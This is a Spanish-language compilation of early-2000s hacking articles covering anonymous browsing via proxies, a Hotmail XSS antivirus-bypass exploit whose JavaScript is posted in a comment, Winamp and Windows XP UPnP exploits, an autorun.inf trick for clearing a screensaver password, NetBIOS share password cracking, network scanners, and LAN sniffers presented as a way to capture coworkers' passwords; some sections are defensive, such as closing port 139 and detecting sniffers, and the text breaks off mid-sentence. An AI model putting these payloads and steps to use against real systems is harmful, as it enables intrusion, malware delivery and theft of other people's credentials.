COMO ESCONDER TU IP - NAVEGACIÓN ANÓNIMA

 

Fuente: Datahack

Autor: Donatien

 

Para empezar, te recomiendo buscar textos sobre wingates, socks y proxies (además, dehabilitá el java, javascript, cookies, links relacionados y actualización automática ... y tené en cuenta que si pretendés ocultar tu identidad, Internet Explorer no es la mejor opción). Intenta también instalar un firewall o DHCP...

Hay situaciones en las cuales queremos visitar un site sin dejar rastros en él, puede que tengas ganas de espiar el site de la competencia. Tu visita quedará registrada en un archivo LOG del servidor. Los visitantes frecuentes generan muchos registros.

Estos registros pueden brindar información al administrador de la red, información que es enviada desde nuestra PC sin que nos enteremos.

Sin embargo, para que el servidor guarde estos datos no necesita hacer pruebas demasiado sofisticadas. Un "snooper" dedicado podría averiguar mucho más. Ha habido algunos casos de sitios que han intentado acceder al disco rígido del visitante (un caso un tanto extremo). También hay miles de casos que involucran cookies (http://www.illuminatus.com/cookie.fcgi), código javascript y applets java malintencionados, agujeros de seguridad en los navegadores, etc, así que la mejor opción es navegar con un intermediario que entre a los sitios por nosotros.

Paso 1 - Determinar tu dirección IP:

Para averiguar tu propia dirección IP andá a http://megawx.aws.com/support/faq/software/ip.asp

Cada computadora conectada a Internet tiene un número identificador único llamado "dirección IP". En la mayoría de las redes la dirección IP de una PC es siempre la misma. En algunas otras, ésta se asigna cada vez que la PC se conecta a la red. A eso me refiero cuando pregunto si tenés dirección estática o dinámica. Si tu IP es dinámica seguro que será distinta cada vez que te conectes.

Hay una explicación muy completa sobre números IP (qué son y cómo funcionan) AQUÍ

Paso 2 - Lograr navegar anonimamente:

Método 1: Anonymizer

Cualquiera puede navegar anonimamente con la ayuda de un excelente servicio llamado "Anonymizer x" (http://www.anonymizer.com/3.0/index.shtml). Visitalo y escribí allí el URL que querés ver anónimamente ("Anonymizer" hace todo el trabajo por vos, eliminando varios peligros potenciales). Cuando seguís un link que hay en una página a la que entraste via Anonimyzer, el mismo se abre también via Anonymizer, de modo que no tengas que tipear a mano todas las direcciones a las que quieras ir. Este sitio te da la opción de pagar el servicio o usarlo gratis, pero si lo usamos gratis nos encontraremos con una serie de limitaciones, tales como una demora de 30 segundos en la descarga de la página, y acceso anónimo sólo a sitios con protocolo HTTP (no HTTPS ni FTP). Por otra parte, existen sitios que son inaccesibles a través de Anonymizer, como ser algunos servidores de e-mail por web.

Otro servicio que nos puede prestar Anonymizer es el de "acercarnos" las páginas web lejanas, por ejemplo, si una página está ubicada en Japón y algún problema de enlace no nos permite conectarnos rápidamente (es decir: no la podemos ver), podemos pedirle a Anonymizer que entre a ella por nosotros y nos la muestre luego. Probablemente Anonymizer tenga un mejor enlace con Japón que el que tenemos nosotros, y esto nos solucionaría el problema. Por último, hay algunos sitios que nos muestran distinta información de acuerdo al lugar geográfico desde el cual entremos. Por ejemplo: El sitio de la Enciclopedia Británica (en la sección dedicada a "enviar el pedido de compra") ofrece un listado de representantes en cada país, pero al entrar a través de Anonymizer aparece en su lugar otra página en la cual podemos ver los precios que tienen en USA (hogar de Anonymizer). No es dificil imaginar que los precios de los representantes son varias veces mayores que los precios en USA.

Anonymizer es una de las herramientas más populares para navegar anonimamente, pero no es la única. Continuamente aparecen sitios que ofrecen servicios similares. Una buena alternativa es JANUS (http://www.rewebber.de/) ubicado en Alemania. Es rápido, puede encriptar el URL, y además es gratuito. Lo siguiente es un fragmento de las aclaraciones que hay en el sitio de JANUS:

"JANUS es capaz de encriptar los URLs (las direcciones de las páginas) de modo que puedan ser usadas como referencia al servidor. Si se da el caso en que una dirección encriptada sea solicitada, JANUS podrá desencriptarla y reenviarla al servidor, sin necesidad de que el usuario sepa cuál es la verdadera dirección. Todas las referencias en la respuesta del servidor son encriptadas también, antes de que lleguen al usuario." (una variante muy interesante al servicio de anonimato... anonimato para servidores!)

Metodo 2: Servidores Proxy

También es posible lograr el anonimato en la navegación interponiendo un servidor proxy. Este servicio es similar al de Anonymizer, ya que las páginas son solicitadas por el proxy en lugar de la persona que realmente está navegando. Pero hay algunas diferencias muy importantes: los proxies no filtran los cookies, applets ni código malintencionados. En definitiva, lo único que hacen es ocultar nuestra posición geográfica.

Casi todos los servidores proxy tienen el acceso restringido a los usuarios del proveedor en el cual se encuentra, es decir... si usamos Fibertel no podremos utilizar el proxy de Sinectis (el acceso será denegado). Por suerte, siempre hay por allí algún proxy generoso que ofrece sus servicios al público en general, intencionalmente o debido a un error en la configuración (claro que los motivos suelen no ser públicos).

Cómo podemos encontrar estos Proxies "generosos"? Buena noticia para los perezosos: hay muchas listas de servidores proxy públicos, sin ir más lejos: http://tools.rosinstrument.com/cgi-bin/dored/cgi-bin/fp.pl/showlog

Para quienes no son tan perezosos: encuentren sus propios servidores proxy, es fácil. Vayan a Altavista (www.altavista.com) y escriban algo como +proxy +server +configuration +port, y van a recibir la lista de páginas web en las que los proveedores de Internet dan instrucciones completas a sus usuarios sobre cómo configurar sus navegadores para usar sus proxies. Prueben con cada proxy que hayan encontrado, y luego de 6 o 7 fallas (servicios "restringidos") encontrarán seguramente uno que ande. Suponiendo que hayan encontrado uno, digamos cualquier.proxy.com, HTTP port 8080. Para hacerlo funcionar en tu conección tenés que llenar (en tu navegador) los datos en la sección "Configuración manual de servidor proxy".

Configurando:

En Netscape Communicator:
Editar - Preferencias - Avanzado - Proxies - Configuración manual de proxy - Ver, y para HTTP y FTP escribí el nombre de tu servidor (ejemplo: proxy.datafull.com) y número de port (ejemplo 3128).

En Internet Explorer 4.0:
Ver - Opciones de Internet - Conexiones - marcar "Acceder a Internet usando un servidor proxy". Donde dice DIRECCIÓN escribir el nombre (ejemplo: proxy.datafull.com) y en PORT escribir el número de puerto (ejemplo: 3128), hacer click en opciones avanzadas y marcar donde dice "Usar el mismo proxy para todos los protocolos".

Una vez hecho todo esto ya podés empezar a navegar dejando el rastro de que estás en Bulgaria, USA, Corea del Norte o donde quiera que se encuentre el proxy, pero ...aún hay un tema importante a tener en cuenta, "¿Mi proxy... es realmente anónimo?"

¿Mi proxy es realmente anónimo?

No todos los proxies son del todo anónimos. Algunos de ellos dejan que el administrador del sistema (del sitio visitado) averigüe la dirección IP desde la cual nos estamos conectando al proxy, o sea, nuestra dirección IP real. Una vez que estés usando un proxy vas a poder hacerle una prueba de anonimato en la siguiente dirección: http://www.tamos.com/bin/proxy.cgi

Si recibís el mensaje "Proxy server is detected!" - entonces hay un agujero de seguridad en el proxy que estás usando, y los servidores web es capaz de averigüar tu verdadero IP. La información sobre tu verdadero IP va a aparecer en la página web. Si el mensaje que recibís es "Proxy server not detected" - significa que estás navegando anónimamente. De todos modos recomiendo estudiar cuidadosamente la lista de direcciones IP que esa página nos devuelva. Ninguno de ellos debería ser el tuyo. También podés realizar otras pruebas para ver si tu navegador es anónimo. Dichas pruebas pueden darte una lista completa de parametros que tu navegador deja saber al sitio web que visitas. (esa información está contenida en las llamadas "variables de entorno"). Proxys-4-All (http://proxys4all.cgi.net/tools.html) siempre tiene una larga lista de testeadores para esto.

Consideraciones Finales:

A pesar de todo lo dicho anteriormente ... usá proxies sólo cuando sea necesario. Navegar a través de proxies reduce considerablemente la velocidad de la transferencia de datos. Otra consideración importante que la gente suele olvidar: usá los proxies para propositos legales. Esconder tu identidad es aceptable si no querés que los servidores recopilen datos sobre vos, pero si ocultas tu IP para comprar CD´s, libros o software con una tarjeta de crédito falsa hay una buena posibilidad de que termines en la carcel, eso sin contar los aspectos morales. No te olvides de que todas las conexiones son logeadas, y si violaste una ley podrías ser rastreado, al menos en los países en los cuales la ley actúa en serio. El adminstrador del sitio podría leer los registros y contactar al administrador del proxy, y este último leería los suyos y averiguaría tu IP verdadero, entonces ambos contactarían a tu proveedor de Internet y ya tendrían tu nombre y dirección, y si usaste una cuenta que no es tuya, al menos tendrían el teléfono desde el cual llamaste... espero que haya quedado claro.

Especial para paranoicos:

Esto es interesante: Las herramientas que vimos hasta ahora pueden ser encadenadas!
Por ejemplo, si estás usando el Proxy A, y sabés las direcciones de otros dos proxies (Proxy B y Proxy C). La dirección que deberías solicitar sería algo así como
http://proxyB:puerto/http://proxyC:puerto/http://www.lapagina.com ... Como resultado, accederías a www.lapagina.com a través de 3 proxies anónimos: A (que está configurado en el browser) B y C (que están en el url que escribiste).

Otro ejemplo más realista podría ser: http://proxy.usnowear.com:8080/http://proxy.barcelonaweb.com:8080/http://www.datafull.com

CUIDADO: No todos los proxies permiten ese tipo de encadenado.

SocksCap - para usar anónimamente aplicaciones que no sean HTTP (telnet, ftp, ICQ, RealPlayer, etc)

Qué es SocksCap?
SocksCap permite que las aplicaciones clientes basadas en TCP y UDP pasen a través de un firewall ubicado en un servidor del tipo SOCKETS. SocksCap intercepta las llamadas hechas a la red desde aplicaciones WinSock y las redirige a través de un server SOCKS de manera transparente para las aplicaciones o el sistema operativo y drivers.

Cuál es la última versión?
La versión actual de SocksCap16 (16-bit) es la 1.02. La versión más reciente de SocksCap32 (32-bit) es la 1.03. También existe una versión beta de SocksCap32 Version 2 (Beta 3).

Cuál es la diferencia entre SocksCap, SocksCap16, y SocksCap32?
El número se refiere a las versiones de 16 y 32 bits. SocksCap16 es la version de 16-bits. SocksCap32 es la de 32-bits.

Necesito SocksCap16, SocksCap32, o los dos?
Para Windows 3.1 y Windows para trabajo en grupo 3.11 necesitás SocksCap16.
Para Windows 95 y Windows 98 necesitás SocksCap32 para las aplicaciones de 32-bits. Si además estás ejecutando alguna aplicación de 16 bits (algún programa viejo quizás) bajo Windows 95 o 98, necesitás SocksCap16 para esas aplicaciones. Es posible ejecutar SocksCap16 y SocksCap32 a la vez para manejar todas las aplicaciones (de 16 y 32 bits).
En Windows NT o 2000, usá SocksCap32. (Estos sistemas operativos no permiten software de 16 bits.

Dónde puedo conseguir SocksCap?
SocksCap está disponible para descarga en el sitio web de SOCKS en: http://www.socks.nec.com.

SocksCap es gratis? Y el codigo fuente, está disponible?
El programa se puede bajar gratis del sitio web de SOCKS. No está librado al dominio público. Su uso y distribución está restringido y sujeto a ciertos acuerdos. El código fuente no está disponible.

Funciona con todas las aplicaciones?
SocksCap funciona independentemente de las aplicaciones que usemos, pero puede presentar algunos problemas en ciertos casos.

Cómo sé si funciona con mi aplicación?
La mejor manera de saber eso es probarlo. Podrías referirte a la tabla de aplicaciones con las cuales los usuarios han reportado éxito o fracaso. Bajate la lista de la sección SocksCap del sitio http://www.socks.nec.com/.

Es necesario que use el FTP en modo de transferencia pasiva?
FTP puede experimentar dificultades, dependiendo de la aplicación y el stack. Intenta sin el modo pasivo, si no anda, intenta con el pasivo.

Cómo se configuran el servidor de SOCKS y el puerto en el setup de SocksCap?
Escribe la dirección y puerto del servidor SOCKS que querés atravezar. Si no estás seguro de lo que eso quiere decir, contacta a tu ISP o administrador de red o firewall o consulta una lista en: http://tools.rosinstrument.com/proxy/1080.htm.

 

 

 

Burlar el antivirus de Hotmail por XSS

 

Fuente: securityfocus

Autor: securityfocus

 

Burlar el antivirus de Hotmail por XSS
--------------------------------------------------

Cross site scripting (XSS) es una de las vulnerabilidades más comunes hoy día de los sitios web, y también es una de las que menos atención se le presta, pese a que puede tener importantes implicaciones para la seguridad del cliente. En esta ocasión se demuestra como a través de XSS es posible burlar la protección antivirus que ofrece Hotmail.

El ataque típico de Cross site scripting (XSS) suele llevarse a cabo a través de un enlace que apunta a un servidor web afectado. La URL se construye de forma especial para que incluya un script del atacante que será transmitido por el servidor afectado al cliente que utilice el enlace para visitar el web.

Dado por ejemplo un sitio web que permite realizar búsquedas:

http://sitio/busqueda.asp?busca=texto

El XSS podría darse a través de una URL tipo:

http://sitio/busqueda.asp?busca=<script_del_atacante>

Las posibilidades de ataque a través de XSS son varias, las más comunes suelen ser la captura de cookies e identificadores, que permiten capturar sesiones y suplantar la identidad de los afectados, o la modificación de contenidos para engañar al visitante víctima del XSS, con la posibilidad de construir formularios para robar datos sensibles, como contraseñas, datos bancarios, etc.


Hotmail y archivos adjuntos

El sistema de descarga de archivos adjuntos de Hotmail se lleva a cabo a través de una URL donde se pasan como parámetros, entre otros, el identificador del usuario y del mensaje. En esa misma URL se encuentra al final un parámetro (vscan) que de forma evidente es el que da la orden para que en el momento de la descarga por parte del usuario se realice el análisis del antivirus.

La URL de descarga de adjuntos tiene un aspecto como el siguiente:

http://by7fd.bay7.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001& a=[id_del_usuario]&msg=[id_del_mensaje]&start=XXXXXX&len=XXXX& mimepart=4&vscan=scan

El exploit de infohacking está basado en un XSS presente en Hotmail a través de los archivos adjuntos mediante el cual consigue tener acceso al identificador del usuario y del mensaje. Gracias a estos datos que puede conseguir a través del XSS, construye una URL de descarga donde omite el parámetro del antivirus.

El resultado es que el atacante puede enviar adjunto un archivo .htm que contiene el exploit XSS y un segundo archivo con un virus. La víctima, al abrir el primer adjunto .htm, provoca la redirección a la nueva URL construida que descarga el segundo archivo adjunto infectado (el virus) sin pasar por el análisis del antivirus de Hotmail.

El exploit de infohacking es una prueba de concepto que puede no reproducirse en todas las circunstancias. Principalmente se debe al uso de referencias absolutas (slice) para delimitar la cadena principal desde donde extrae los parámetros e identificadores. Una pequeña variación para recoger esta cadena de forma más dinámica según separadores (split) puede hacer más portable el exploit, sin depender de la longitud exacta de la URL según varíe el servidor o la longitud de los parámetros.

Más información:

HOTMAIL XSS and AV bypass exploit
http://www.infohacking.com/ INFOHACKING_RESEARCH/Our_Advisories/Hotmail/index.htm

 

 

Comentarios

02-07-2003 | [email protected]
el exploit.

*html>
*script>
str1=document.URL
str2=str1.slice(55,110)
splitString = str2.split(\"&\")
str3=splitString[0]+\"&\"+splitString[1]
window.open(\'http://by7fd.bay7.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001&a=\'+str3+\'&mimepart=4\')
*/script>
*/html>

 

 

 

Buffer Overflow en Winamp 2.x y 3.0 + Fix

 

Fuente: Security Focus

Autor: Security Focus

 

Existe una vulnerabilidad en Winamp 3.0 y Winamp 2.81 bajo Windows NT/2000/XP que permite ejecutar código.
Existe un buffer overflow para el Winamp 2.81 (últimas 2.x) y dos para el 3.0 (últimas 3.x).
El problema con el primero es cuando lee el tag Artist ID3v2 ni bien carga el mp3 si el nombre del artista es muy largo.
En el 3.x el tag ID3v2, Artista y Album se muestran el la "Media Library". Un atacante podria crear código malicioso dentro del mp3 que se ejecutaria ni bien es cargado el mp3 en el Winamp comprometiendo el sistema y permitiendo acceso remoto.
El código puede encontrarse tanto en el tag ID3v2 del Artista o en el tag ID3v2 del Album o en ambos.
Para que ambos overflows se ejecuten el usuario debe cargar el mp3 de desde la "Media Library" con un simple clic o bien de la ventana de Album o Artista.
Solución:
Winamp 2.81: se recomienda actualizar a 3.0 o bajar nuevamente la 2.81 que ya ha sido modificada.
Winamp 3.0: solo la versión
#488 o posteriores no son vulnerables a estos overflows, si tienes una version anterior ya esta disponible la nueva

 

 

 

Cerrar el puerto 139

 

Fuente: Asociación de Internautas

Autor: José Ramón Esteban Martí

 

Uno de los principales problemas de seguridad que nos encontramos con Windows es la facilidad para compartir archivos e impresoras. Si no se toman las debidas precauciones, esa facilidad para compartir, se puede convertir en un serio problema al estar conectados a Internet. Cualquiera que descubra la dirección  IP con la que estamos conectados (y sobre todo los que tienen conexión permanente con ADSL y dirección IP estática)  podría acceder a nuestro sistema para realizar cualquier acción, desde acceder a tus ficheros, pasando por introducir virus o troyanos, o usar nuestro ordenador como plataforma para ataques a otros ordenadores.
Cuando añadimos un protocolo de Red a Windows, el sistema operativo de forma automática lo instala para todos los adaptadores que tengamos. Por lo tanto lo que tenemos que hacer es eliminar todos los protocolos, y la opción de compartir archivos e impresoras, que no sean necesarios en el adaptador de red que utilicemos  para conectarnos a Internet (y solo en ese).
Pongámonos en el caso mas común que es el de conexión a Internet mediante un módem (pero es válido para todos los demás). En este tipo de conexión el adaptador que se utiliza es el Adaptador de Acceso telefónico a Redes.

Debemos ir primero a la carpeta Mi PC y hacer doble click sobre la carpeta Panel de Control

Pulsar sobre el icono de Red

Pulsa sobre la opción TCP/IP del Adaptador de Acceso Telefónico (o el que se corresponda con la de tu conexión a Internet) y a continuación pulsa sobre propiedades.

En la pantalla que te aparece pulsa sobre la pestaña enlaces. Veras una serie de casilla. Como mínimo hay que desmarcar la casilla de Compartir impresoras y archivos para redes Microsoft. Aunque se puede dejar marcada la de Clientes para redes Microsoft, ya que este no ofrece  en principio problemas de seguridad, si tenéis instalada una red privada también la debéis deshabilitar, ya que tenemos que utilizar otro protocolo que no es el de TCP/IP para compartir archivos e impresoras.

Una vez que no tenemos marcada dicha casilla, aceptar y salir (hay que reiniciar). Si lo que has hecho es desmarcar todas las casillas te hará una advertencia diciendo que "No ha seleccionado una unidad con la que crear vínculos...". Le respondéis que NO.

Si quieres compartir tus recursos en tu red privada, lo primero que tenemos que hacer es instalar otro protocolo diferente para los Adaptadores de Red que no se utilicen para conectar a Internet (esto hay que hacerlo en todos los ordenadores de la red). Este protocolo es NetBEUI. Si no se instala no podrás compartir con el resto de ordenadores de tu red (ya que vamos a eliminar TCP/IP de ellos). Para instalarlo tenemos que ir a Panel de Control, Icono de Red, Pulsar Agregar, Seleccionar Protocolo y pulsar Agregar, elegir Microsoft y NetBEUI y Aceptar y volver a Aceptar.



Ahora para empezar a compartir archivos e impresoras, sobre el icono de Red pulsa sobre el boton "Compartir Archivos e Impresoras", elige lo que quieres compartir, Aceptar y ya esta.

Una vez instalado todo tenemos que eliminar el protocolo TCP/IP de los Adaptadores de Red que estemos utilizando a excepción del de la conexión a Internet. Para ello, desde la pantalla de icono de red seleccionamos cada uno de ellos (menos el que usemos para Internet) y pulsamos sobre el botón QUITAR Una vez echo esto deberemos de seguir los pasos 1 a 4 citados anteriormente (para no compartir archivos e impresoras en la conexión de Internet) y además deshabilitar NetBIOS sobre TCP/IP. Para ello, siguiendo en el mismo lugar del punto 4º de ésta explicación, pulsaremos sobre la pestaña NetBIOS. En la pantalla que nos mostrará la casilla  "Deseo habilitar NetBIOS en TCP/IP debe de estar desmarcada". Si no es así, desmarcarla y aceptar.



Esta opción, en Windows 2000 se encuentra pulsando el boton de Avanzada en la pantalla de Propiedades protocolo de Internet (TCP/IP). Pulsando sobre la pestaña que pone WINS nos aparecerá abajo dicha opción.

 

 

Ejecución Automática del CD-ROM y Modificación de la contraseña del salvapantallas.

 

Fuente: Datahack

Autor: Mariano

 

En esta nota vamos a hablar de como aprovecharnos de la Ejecución Automática del CD-ROM y como modoficar la contraseña del salvapantallas gracias a ello.

Cuando se inserta un CD-ROM Windows comprueba si existe un archivo con el nombre AUTORUN.INF en el disco. Si existe se ejecutan los programas que aparecen en la línea ‘open=’. Por ejemplo en el CD de datafull abre datafull.exe. Esta ‘función’ se puede aprovechar para ejecutar cualquier programa, por ejemplo Net bus, Sub7 o Back Oriffice, que este en el CD o en el Disco Rígido.. En Windows 9x se ejecutara este programa incluso aunque este funcionando el salvapantallas.

Editamos un Autorun.inf y escribimos por ejemplo “open=C:/windows/regedit.exe” y lo grabamos en un CD.

Al insertar el CD se va a ejecutar el Regedit (Editor del Registro de Configuraciones de Windows) y podremos cambiarle la clave al protector de pantallas. Para mas información sobre el Regedit vayan a Regedit

Ahora les paso a explicar como se hace:

        1-     Estamos con el protector activado y nos pide la clave.

2-       Insertamos el CD con el Autorun.inf que editamos anteriormente o bajenselo de autoruninf

3-       Se ejecuta el Regedit.

4-       Vamos a H_KEY USERS/.DEFAULT/Control Panel/Desktop.

5-       A la derecha vamos a encontrar varios datos, nosotros vamos a modificar ScreenSave_data. A la derecha en datos encontramos unos números, esa es la clave encriptada.

6-       Con el botón derecho seleccionamos modificar y en Información del Valor debemos escribir 00 (doble cero). Eso es igual a no tener clave.

7-       Aceptar y salimos.

8-       En la ventana que nos pide la clave ponemos Cancelar

9-       Se activa al protector, movemos el mouse y listo, se desactiva sin clave.

 

Aclaración: Probé esto con diferentes protectores de pantallas y no funcionó con todos. Por ejemplo si funciona con el de Matrix.

Si tienen conocimientos suficientes del Regedit pueden modificar otras cosas como el tapiz del escritorio, borrar entradas de clave de programas, etc.

 

 

Solución:

Si no quieren que se ejecute automáticamente un CD destilden la casilla
Notificación de Inserción Automática. Esta se encuentra en Inicio/ Panel de control/ Sistema/ Administrador de dispositivos/ Propiedades del CD-ROM.

Exploit que permite acceso remoto a un Windows XP no parcheado.

 

Fuente: Datafull

Autor: Gabriel Maggiotti

 

Un argentino hizo el exploit para la escandalosa vulnerabilidad de Windows XP que fué descubierta recientemente. La misma está en el servicio UPnP. Con esto te podés colgar o meterte en cualquier XP no parcheado.

Modo de uso:
 
XPloit -f
cuelga el XP que está en el especificado.
 
XPloit -e
abre un MS.DOS en el puerto 7788 del XP que está en el especificado.
Luego para entrar alcanza con hacer telnet a esa en ese puerto.
 
El código fuente del exploit:
Para bajarlo hace clic aca

 

 

 

Vulnerabilidad del protocolo Netbios en recursos compartidos de Windows 9x (95, 98, 98SE, ME)

 

Fuente: Datahack

Autor: LOBOestepaRIO

 

Entre las capacidades de red de Windows 9x, se encuentra la de compartir carpetas y recursos de impresión. Si tenemos configurado Windows para esto (la opción de compartir impresoras y archivos en las propiedades de la red) , y están habilitados los protocolos necesarios, podemos compartir una carpeta con cualquier persona que esté en la misma red que nosotros (ya sea en Internet o en una LAN). Obviamente, el hecho de compartir supone el riesgo potencial de que cualquiera pueda acceder, y para esto fue pensada la contraseña que Windows nos permite ponerle a los recursos compartidos.

El problema con esto es que la forma de chequear la contraseña de Windows 95, 98, 98SE y ME, es decir, el esquema de autenticación, es por demás frágil. La parte de la contraseña que el servidor (la máquina que comparte recursos) chequea, depende únicamente de la longitud que el cliente informa. Es decir, si por algun medio el cliente le informa que la contraseña es de 1 caracter, el servidor solo chequeará el primer caracter de la contraseña, y si coinciden, el cliente recibe una autenticación correcta. Igualmente, esto no quiere decir que podamos entrar a un recurso compartido con sólo adivinar la primera letra (por suerte la vulnerabilidad, a pesar de ser grave, no llega hasta ese punto), sino que quiere decir que una herramienta específicamente diseñada nos permitiria averiguar la contraseña aplicando fuerza bruta letra por letra (lo que nos llevaría un máximo de 4096 intentos, asumiendo que la longitud máxima promedio del password es de 16 y que hay 256 caracteres válidos).

Existen básicamente dos utilidades muy completas que cumplen esta función, la primera se llama R3x, y la segunda es una evolución de la misma, llamada LANGuard Network Security Scanner. Estas dos utilidades no solo explotan este bug, sino que permiten hacer una auditoria bastante completa de los servicios que prestan los distintos hosts del rango de ip que decidamos escanear (los puertos abiertos, todos los recursos que comparte, etc.). R3x funciona completamente con Windows 9x, mientras que algunas funciones del LANGuard requieren Windows NT/2000 para funcionar.

Además de estos dos, existe otro programa más: el PQwak, que nos permite hacer lo mismo, aunque sirve exclusivamente para esto, y requiere que tengamos los datos, es decir, el ip, el nombre de la maquina, y el nombre del recurso compartido. La única ventaja que nos ofrece con respecto al R3x es que es mas liviano, y que permite acceder a algunas carpetas compartidas que tengan incluidos caracteres especiales, cosa que no se puede hacer con el R3x.


Como proteger nuestra maquina de este bug?
 
La forma de evitar que vean fácilmente nuestros compartidos consiste en aplicar la "Actualización Crítica de Seguridad" que Microsoft nos provee en su sitio Windows Update (http://windowsupdate.microsoft.com/), este parche elimina esta y otras conocidas vulnerabilidades (como c:concon, IGMP nuke, etc.). Ocupa alrededor de dos megabytes, y es altamente recomendable si queremos mantener nuestra PC medianamente segura.

 

 

 

Anti-Sniffer, Como detectar la Presencia de un sniffer en tu sistema.

 

Fuente: hvlinux

Autor: DoctorX

 

Anti-Sniffer
¿Como detectar la Presencia de un sniffer en tu sistema?
Un sniffer puede ser un gran causante de problemas de seguridad, ya que daria a ciertas personas gran cantidad de claves de usuarios del sistema.

Esto seria una invitacion a violaciones de la seguridad del mismo por lo que parte de la labor de un administrador de un sistema o en nuestro caso, nosotros si tienes tu propia linux box, es la de velar por la seguridad de la misma. Por lo cual la deteccion de los sniffes es fundamental ya que estos podrian capturar email, claves y cualquier cosa que salga por un puerto.
Claro que existen sniffers como el sniffit que son doblemente letales, pero eso sera tema de otro articulo.

Un sniffer coloca las interface a trabajar en modo promiscuo, o sea que acepte todos los paquetes. Aunque tambien se puede ejecutar un sniffer sin utilizar el modo promiscuo que seria mas facil de detectar, pero el problema es que un sniffer que funciona en modo promiscuo puede capturar todos los paquetes que viajen a traves de una interface ethernet, mientras que el otro solo en las sesiones tty (asi como el tty watcher).

Una manera de detectar un sniffer seria utilizar este comando:

"ifconfig -a"

Hay que chequear si existen interfaces en modo promiscuo. Otra forma seria el utilizar este comando:

"netstat -r"

y te dara cierta informacion de interes como esta:

Routing tables
Internet:

 

Destination

Gateway

Flags

Refs

Use

Interface

 

Default

hackven.org

UG

1

32949

eth0

 

Localhost

localhost

UH

2

73

eth1


el uso de la interface eth0 te pue de crear la sospecha y ejecutando
"ifconfig eth0" puedes darte cuenta si en realidad esta siendo utilizada por un sniffer:
Ejemplo :

#ifconfig eth0
le0:
flags=8863
inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1
o si no otra forma seria la de ejecutar un programa que te ayude a realizar la deteccion como en nosniff.c .
El codigo C esta a continuacion :

#include
#include
#include
#include
#if defined (__linux__)
#include
#else
#include
#endif
#define size(p) (sizeof(p))
int dev_flags=0,
device_flags=0,
set_look_all=0;
int
main(int argc, char **argv) {
struct ifreq ifreq, *ifr;
struct ifconf ifc;
char buf[BUFSIZ], *cp, *cplim;
if(argc <= 1)
set_look_all++;
if((dev_flags = socket(PF_INET, SOCK_DGRAM, 0)) < 0) {
fprintf(stderr, "Error ");
perror("socket");
exit(1);
}
ifc.ifc_len = sizeof(buf);
ifc.ifc_buf = buf;
if(ioctl(dev_flags, SIOCGIFCONF, (char *)&ifc) < 0) {
perror("SIOCGIFCONF");
exit(1);
}
ifr = ifc.ifc_req;
cplim=buf+ifc.ifc_len;
for(cp = buf; cp < cplim;
cp += sizeof (ifr->ifr_name) + size(ifr->ifr_addr))
{
ifr = (struct ifreq *)cp;
if(argv[1])
if(strcmp(ifr->ifr_name, argv[1]) && !set_look_all)
continue;
ifreq = *ifr;
if(ioctl(dev_flags, SIOCGIFFLAGS, (char *)&ifreq) < 0)
{
fprintf(stderr, "SIOCGIFFLAGS: %s (get interface flags):
%s ", ifr->ifr_name,strerror(errno));
continue;
}
device_flags=0; device_flags = ifreq.ifr_flags;
fprintf(stdout, "%s: ", ifreq.ifr_name);
if((device_flags & IFF_PROMISC) != 0)
fprintf(stdout, "Dispositivo en modo Promiscuo: Sniffer detectado. ");
else
fprintf(stdout, "No en modo Promiscuo: Ningun Sniffer detectado.
");
if(!set_look_all)
exit(0); // finalizado
else
continue; //siguiente dispositivo
}
if(!set_look_all)
fprintf(stdout, "%s: Dsipositivo desconocido.
", argv[1]);
// dispositivo no encontrado
}


para compilarlo : gcc -o nosniff nosniff.c este programa no puede ser compilado en SunOS

 

 

 

DSNS un avanzado escaner de red.

 

Fuente: Datafull

Autor: .:Biohazard:.

 

DSNS es un muy avanzado escaner de red que funciona unicamente bajo Windows2000.
Envia paquetes SYN (probe) en busca de puertos abiertos, estos puertos los configuramos nosotros, reconoce que servicios corre cada puerto. SU funcionamiento es rapido ya que no crea una conexión remota sino que hace un intento de conexión.

Veamos la intervaz:


Nos encotramos con 4 solapas:
*IP range: aqui ingresamos los datos IP o Host a escanear. Trae unas herramientas IP como x.x.x.1/x.x.x.254 y describiendo el Host nos da el IP.
*Port/protocol: aqui configuramos el o los puertos a escanear, reconoce servicios como Smtp que aceptan relay. Es completamente configurable.
* General settings: configuramos general del programa.
*info_about: información sobre el programa.



En la parte gris de abajo van a tener los resultados encontrados.

Para bajarte el programa hace clic aqui

 

 

 

LAN Packet Sniffers

 

Fuente: dZone

Autor: Donatien

 

INTRODUCCION

Hoy voy a presentarles una clase de aplicaciones que son muy utilizadas por los "hackers" para obtener las contraseñas de sus compañeros de trabajo, de escuela, o de los usuarios de redes LAN en general.

Para comprender lo que vamos a hacer vamos a ver primero algunos conceptos básicos sobre redes. Empecemos por introducir algunos términos...

REDES LAN: Redes de área local. Son redes de alta velocidad que se encuentran generalmente en empresas y organizaciones. LAN significa "Local Area Network" (red de area local)

TOPOLOGIA: Esta palabra no es más que un sinónimo de "tipo" o "clase", o sea que cuando hablamos de una red con topología estrella o con topología bus, estamos hablando de una red "tipo" estrella o "tipo" bus, o en los casos mas exquisitos podríamos decir

ESTRELLA: Las redes de clase ESTRELLA son aquellas en las que todas las computadoras que pertenecen a ella están comunicadas con un nodo de conmutación que recibe cada paquete de datos y lo envía a la computadora a la que está destinado. En este tipo de redes cada computadora recibe sólo los mensajes que están destinados a ella.

BUS: Las redes con topología BUS no tienen un nodo central de conmutación, y los paquetes de datos parten de la computadora de origen y llegan a todas las demás de la red, o sea que cada una debe ser capaz de reconocer si dichos datos son para ella o no. Si el paquete estaba destinado a ella, lo recibe, si no, lo ignora. En las redes "Ethernet" este trabajo es responsabilidad de la placa de red, o sea que el sistema operativo nunca se entera de los paquetes ajenos.

ETHERNET: Es el protocolo más común en redes LAN. En algunas instalaciones antiguas aún se puede ver que las máquinas se interconectan con cable coaxil (el de la TV) y en las más nuevas se usan cables UTP o STP (parecidos al del teléfono, pero con más alambres).

MODO PROMISCUO: Muchas placas de red Ethernet permiten activar el "modo promiscuo" de forma que TODOS los paquetes de datos que llegan a la placa son aceptados (no sólo los destinados a esa PC) de modo que se puede "espiar" las "conversaciones" entre nuestros compañeros de red y

Pues bien, ahora podemos seguir con lo de las aplicaciones...

Estos programas, llamados PACKET SNIFFERS activan el MODO PROMISCUO de las placas de red, y capturan todos los paquetes para su posterior análisis.

En este informe nos vamos a centrar en el "SpyNet", que es un capturador/analizador de paquetes muy completo.

El programa se divide en dos partes: CaptureNet, que es el capturador, y PeepNet, que es el analizador/visualizador.

El URL para bajarlo es:
